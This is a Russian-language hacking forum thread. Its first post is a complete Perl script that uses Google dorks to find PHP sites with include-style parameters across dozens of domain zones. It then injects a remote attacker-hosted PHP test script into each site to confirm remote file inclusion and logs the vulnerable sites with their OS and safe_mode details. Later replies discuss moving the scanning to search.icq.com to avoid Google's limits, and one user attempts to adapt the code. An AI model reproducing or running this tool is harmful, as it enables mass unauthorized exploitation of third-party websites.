google-php-include-bugs searcher v 0.8

Discussion in 'Уязвимости' started by OptimaPrime, 7 Dec 2007.

  1. OptimaPrime

    OptimaPrime Banned

    Joined:
    30 Mar 2007
    Messages:
    307
    Likes Received:
    588
    Reputations:
    -61
    сори если не втот раздел,или боян(
    Code:
    #! /usr/bin/perl
    
    # ================================================== ============== #
    # google-php-include-bugs searcher v 0.8 #
    # (c)oded by drmist\STNC #
    # www.security-teams.net #
    # #
    # ATTENTION. THIS SCRIPT IS PRIVATE. #
    # ONLY FOR STNC AND FRIENDS. NOT FOR SALE. #
    # #
    # Usage: perl script.pl --log=<log-file> --url=<test-script-url> #
    # Test script: #
    # <?php #
    # error_reporting(0); #
    # $s = md5("STNC"); #
    # $code = eregi("windows", php_uname())+ #
    # 2*eregi("apache", getenv("SERVER_SOFTWARE"))+ #
    # 4*ini_get('safe_mode'); echo $s."[$code]".$s; #
    # ?> #
    # ================================================== ============== #
    
    use IO::Socket;
    
    @inc_bugs = ("page", "text", "print", "html", "url", "view", "show", "body", "cat",
    "inc", "incl", "include", "read", "write", "data", "code", "fname",
    "filename", "cont", "content", "menu", "open", "file", "id", "p", "f",
    "seite", "pagina", "vista", "vue", "visao", "datei", "offnen", "corpo",
    "corps", "ouvrir", "fichier", "abrir", "fichero", "inhalt", "contenu",
    "conteudo");
    
    @zones = ("com", "net", "org", "de", "fr", "uk", "br", "am",
    "info", "name", "aero", "biz", "edu", "ws", "in",
    "cn", "us", "be", "it", "cc", "tv", "ru", "su",
    "jp", "kz", "se", "is", "ca", "gs", "ms", "vg",
    "be", "fi", "gov");
    
    @ftypes = ("php", "php3");
    
    $boundary = "ca73bad132fa0c99fe9ce9efe9029e21"; # md5("STNC");
    
    for($i = 0; $i < @ARGV; $i++)
    {
    if($ARGV[$i] =~ /^--log=(.*)$/) { $log = $1; }
    elsif($ARGV[$i] =~ /^--url=(.*)$/) {$script = $1; }
    }
    
    if(!($script && $log)){ usage(); exit; }
    
    foreach $inc(@inc_bugs)
    {
    foreach $zone(@zones)
    {
    foreach $ftype(@ftypes)
    {
    $request = "filetype:$ftype site:$zone inurl:$inc=";
    print "\n[$request]\n";
    
    $request =~ s/(.)/sprintf("%%%02x",ord($1))/eg;
    @dn = ();
    
    for($i = 0;$i < 10; $i++)
    {
    @temp = get("http://www.google.com/search?filter=0&num=100&start=".$i.
    "00&q=$request") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
    foreach $url (@temp)
    {
    if($url !~ /($inc=[^\&]+)/i) { next; }
    $left = $`; $right = $';
    if($url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
    if($url =~ /google\.com/i){ next; }
    
    ($domain) = $url =~ /^http\:\/\/([a-z0-9\.\-]{5,})/;
    if($domain =~ /^www\.(.+)$/) { $domain = $1; }
    $f=0;foreach(@dn){if($_ eq $domain){$f++;last;}}if($f){next;}
    push @dn, $domain;
    
    $print = "$left$inc=[INCLUDE]$right";
    if(($data) = get("$left$inc=$script\?$right") =~ /$boundary\[([0-9]+)\]$boundary/i)
    {
    $s = "$print - ".(($data % 2) ? "WINDOWS" : "UNIX").(($data > 3) ? ", SAFE_MODE" : "")."\n";
    $count++;
    print "[$count] $s";
    
    open LOG, ">>$log";
    print LOG $s;
    close LOG;
    }
    else {
    print "$print - no bugs\n";
    }
    }
    }
    }
    }
    }
    
    sub timeout() { close $sock; }
    
    sub get()
    {
    local $request = $_[0];
    local $port = 80;
    local $data = "";
    
    if(local($server, $url) = $request =~ /^http\:\/\/([^\/]+)\/(.+)$/)
    {
    if($server =~ /^([^\:]+)\:([0-9]{2,5})$/){ $server = $1; $port = $2; }
    
    $sock = IO::Socket::INET->new(
    PeerAddr => $server,
    PeerPort => $port,
    Proto => 'tcp',
    Type => SOCK_STREAM,
    TimeOut => $timeout
    ) or return 0; # connection failed
    
    print $sock "GET /$url HTTP/1.0\r\nHost: $server\r\n\r\n";
    
    $SIG{ALRM} = \&timeout; alarm 10;
    while(<$sock>){ $data .= $_; }
    alarm 0; close $sock;
    }
    
    return $data;
    }
    
    sub usage()
    {
    
    print qq(Usage: perl $0 --log=<log-file> --url=<url-of-test-script-source>
    Test script:
    <?php
    error_reporting(0);
    \$s = md5("STNC");
    \$code = eregi("windows", php_uname())+
    2*eregi("apache", getenv("SERVER_SOFTWARE"))+
    4*ini_get('safe_mode'); echo \$s."[\$code]".\$s;
    ?>
    );
    
    }
     
    5 people like this.
  2. heks

    heks Banned

    Joined:
    24 Aug 2007
    Messages:
    713
    Likes Received:
    95
    Reputations:
    12
    а что ни описания ничего к нему нету ? интересное название а описания нету.
     
  3. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    актуальность гугл хэкеров упала когда гугл ввёл ограничение на 11 страниц для спец запросов типа inurl:
     
  4. min7

    min7 Elder - Старейшина

    Joined:
    3 Sep 2005
    Messages:
    117
    Likes Received:
    85
    Reputations:
    11
    Такого ограничения нету на http://search.icq.com/
     
  5. Spyder

    Spyder Elder - Старейшина

    Joined:
    9 Oct 2006
    Messages:
    1,388
    Likes Received:
    1,209
    Reputations:
    475
    я то знаю что там нету такого ограничения, сам юзаю именно icq.com, но вот эти проги то под гугл написаны, хотя переписать особого труда не составит =)
     
  6. IIAHbI4

    IIAHbI4 Banned

    Joined:
    24 Aug 2006
    Messages:
    276
    Likes Received:
    331
    Reputations:
    11
    ооо путная весч, спасибо!
     
    9 people like this.
  7. Macro

    Macro Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    552
    Likes Received:
    298
    Reputations:
    207
    Такие проги уменьшают количество уязвимых сайтов.... :(
     
  8. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    697
    Likes Received:
    404
    Reputations:
    134
    тут ты прав,конечно, но ведь есть еще и site:
    =)
     
  9. Xszz

    Xszz Elder - Старейшина

    Joined:
    23 Apr 2007
    Messages:
    141
    Likes Received:
    42
    Reputations:
    9
    у меня inurl:php , id не работает ;)
    Но ведь можно ставить запрос совершенно по другому ;)
    Как говорили выше , не обязательно использовать гугл ;)
     
  10. satana8920

    satana8920 Палач Античата

    Joined:
    22 Sep 2006
    Messages:
    396
    Likes Received:
    138
    Reputations:
    6
    как его под айсикью переделать?
    полпробовал вот так
    PHP:
    @temp get("http://search.icq.com/search/results.php?q=$request&ch_id=st&num=&search_mode=web&start=".$i.") =~ /(http\:\/\/[a-z0-9\.\-\/\?\:\&\%\=\_]{5,})/gi;
    foreach 
    $url (@temp)
    {
    if(
    $url !~ /($inc=[^\&]+)/i) { next; }
    $left = $`; $right = $';
    if(
    $url =~ /https?\:\/\/[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\/search\?q=cache:/i){ next; }
    if(
    $url =~ /search\.icq\.com/i){ next; }

    нифига не получилось че то как нужно скажите не жмитесь плизз
     
    #10 satana8920, 26 Jan 2008
    Last edited: 30 Jan 2008